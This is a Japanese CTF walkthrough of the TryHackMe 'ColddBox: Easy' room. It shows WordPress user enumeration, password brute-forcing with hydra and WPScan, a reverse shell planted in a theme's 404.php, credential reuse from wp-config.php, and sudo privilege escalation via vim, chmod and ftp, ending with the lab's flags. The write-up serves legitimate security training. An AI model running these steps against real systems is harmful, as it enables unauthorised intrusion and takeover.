【TryHackMe】ColddBox: Easy：Walkthrough

# 概要

TryHackMe「ColddBox: Easy」のWalkthroughです。

https://tryhackme.com/r/room/colddboxeasy

# Task1

## **Q1**.*user.txt*

**Hint**.*Provide the flag in its encoded format*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -A -sC -sV -p- 10.10.131.179 -oN nmap_result
PORT      STATE    SERVICE VERSION
80/tcp    open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.1.31
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: ColddBox | One more machine
4512/tcp  open     ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4e:bf:98:c0:9b:c5:36:80:8c:96:e8:96:95:65:97:3b (RSA)
|   256 88:17:f1:a8:44:f7:f8:06:2f:d3:4f:73:32:98:c7:c5 (ECDSA)
|_  256 f2:fc:6c:75:08:20:b1:b2:51:2d:94:d6:94:d7:51:4f (ED25519)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|80|http|Apache httpd 2.4.18|
|4512|ssh|OpenSSH 7.2p2 Ubuntu 4ubuntu2.10|

`80`番ポートにアクセスするとWebサイトが表示されました。

![home page.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/7fb8c8ee-ce16-f0eb-0182-f5f0176eac52.jpeg)

ディレクトリ列挙をします

```
$ dirsearch -u http://10.10.131.179
[11:58:43] 301 -    0B  - /index.php  ->  http://10.10.131.179/
[11:58:43] 301 -    0B  - /index.php/login/  ->  http://10.10.131.179/login/
[11:58:47] 200 -    7KB - /license.txt
[11:59:09] 200 -    3KB - /readme.html
[11:59:13] 403 -  278B  - /server-status/
[11:59:13] 403 -  278B  - /server-status
[11:59:34] 301 -  317B  - /wp-admin  ->  http://10.10.131.179/wp-admin/     
[11:59:34] 200 -    1B  - /wp-admin/admin-ajax.php
[11:59:34] 302 -    0B  - /wp-admin/  ->  /wp-login.php?redirect_to=http%3A%2F%2F10.10.131.179%2Fwp-admin%2F&reauth=1
[11:59:34] 200 -  578B  - /wp-admin/install.php
[11:59:34] 500 -    3KB - /wp-admin/setup-config.php
[11:59:34] 200 -    0B  - /wp-config.php
[11:59:35] 200 -    0B  - /wp-content/
[11:59:35] 301 -  319B  - /wp-content  ->  http://10.10.131.179/wp-content/
[11:59:35] 200 -   84B  - /wp-content/plugins/akismet/akismet.php
[11:59:35] 500 -    0B  - /wp-content/plugins/hello.php
[11:59:35] 200 -  415B  - /wp-content/upgrade/
[11:59:35] 301 -  320B  - /wp-includes  ->  http://10.10.131.179/wp-includes/
[11:59:35] 200 -    0B  - /wp-cron.php
[11:59:35] 500 -    0B  - /wp-includes/rss-functions.php
[11:59:35] 200 -    3KB - /wp-includes/
[11:59:35] 200 -    1KB - /wp-login.php
[11:59:36] 302 -    0B  - /wp-signup.php  ->  /wp-login.php?action=register 
[11:59:36] 200 -   42B  - /xmlrpc.php
```

`hydra`でユーザー名を探すと`hugo`アカウントを発見しました。
しかし、パスワードは得られませんでした。

```
$ hydra -f -L /usr/share/seclists/Usernames/Names/names.txt -p admin 10.10.131.179 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1:F=Invalid username." -t 64

[80][http-post-form] host: 10.10.131.179   login: hugo   password: admin
```

`WPScan`でさらにユーザー名を列挙します。

```
$ wpscan --url http://10.10.179.35 --enumerate u
[i] User(s) Identified:

[+] the cold in person
 | Found By: Rss Generator (Passive Detection)

[+] c0ldd
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] hugo
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] philip
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
```

`hugo`の他に`c0ldd`、`philip`を発見しました。
`c0ldd`のパスワードを総当たりで特定します。

```
$ wpscan --url http://10.10.179.35 -U c0ldd -P /usr/share/wordlists/rockyou.txt
[+] Performing password attack on Wp Login against 1 user/s
[SUCCESS] - c0ldd / 9876543210                                                                
Trying c0ldd / franklin Time: 00:02:01 <             > (1225 / 14345617)  0.00%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: c0ldd, Password: 9876543210
```

認証情報が分かったのでWordPressにログインします。

![wordpress login.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f3e111e0-cc3d-9227-b349-6bbbe93747d7.jpeg)

`Appearance`->`Editor`->`404.php`にアクセスし、コードをリバースシェルの内容に置き換えます。

![revshell 404.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5d322768-0294-c5a8-2575-963499a3bb65.jpeg)

Netcatでリッスンします。

```
$ nc -lvnp 1234
```

`/wp-content/themes/twentyfifteen/404.php`にアクセスするとシェルを張れました。

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.179.35] 50394
Linux ColddBox-Easy 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 19:47:23 up 24 min,  0 users,  load average: 0.00, 0.03, 0.10
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

TTYの設定をします。

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

`c0ldd`アカウントに昇格する必要があります。

```
$ ls -la /home
total 12
drwxr-xr-x  3 root  root  4096 Sep 24  2020 .
drwxr-xr-x 23 root  root  4096 Sep 24  2020 ..
drwxr-xr-x  3 c0ldd c0ldd 4096 Oct 19  2020 c0ldd
```

`/var/www/html/wp-config.php`を見るとMySQLの認証情報を得られました。

```/var/www/html/wp-config.php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'colddbox');

/** MySQL database username */
define('DB_USER', 'c0ldd');

/** MySQL database password */
define('DB_PASSWORD', 'cybersecurity');
```

得られたパスワードでSSHログインを試みると成功しました。

```
$ ssh -p 4512 c0ldd@10.10.179.35
c0ldd@ColddBox-Easy:~$
```

`/home/c0ldd/user.txt`からユーザーフラグを入手できました。

```/home/c0ldd/user.txt 
RmVsaWNpZGFkZXMsIHByaW1lciBuaXZlbCBjb25zZWd1aWRvIQ==
```

**A**.**RmVsaWNpZGFkZXMsIHByaW1lciBuaXZlbCBjb25zZWd1aWRvIQ==**

## **Q2**.*root.txt*

**Hint**.*Provide the flag in its encoded format*

`sudo -l`でプログラムを確認します。

```
$ sudo -l
[sudo] password for c0ldd: 
Coincidiendo entradas por defecto para c0ldd en ColddBox-Easy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

El usuario c0ldd puede ejecutar los siguientes comandos en ColddBox-Easy:
    (root) /usr/bin/vim
    (root) /bin/chmod
    (root) /usr/bin/ftp
```

`vim`,`chmod`,`ftp`がsudoで実行できます。
権限昇格のコマンドをGTFOBinsで探します。

https://gtfobins.github.io/

### vimで権限昇格

下記コマンドを実行します。

```
$ sudo vim -c ':!/bin/sh'
# whoami 
root
```

### chmodで権限昇格

下記コマンドを実行します。

```
$ sudo chmod u+s /bin/bash
$ /bin/bash -p
# whoami
root
```

### ftpで権限昇格

下記コマンドを実行します。

```
$ sudo ftp
ftp> !/bin/sh
# whoami
root
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
wqFGZWxpY2lkYWRlcywgbcOhcXVpbmEgY29tcGxldGFkYSE=
```

**A**.**wqFGZWxpY2lkYWRlcywgbcOhcXVpbmEgY29tcGxldGFkYSE=**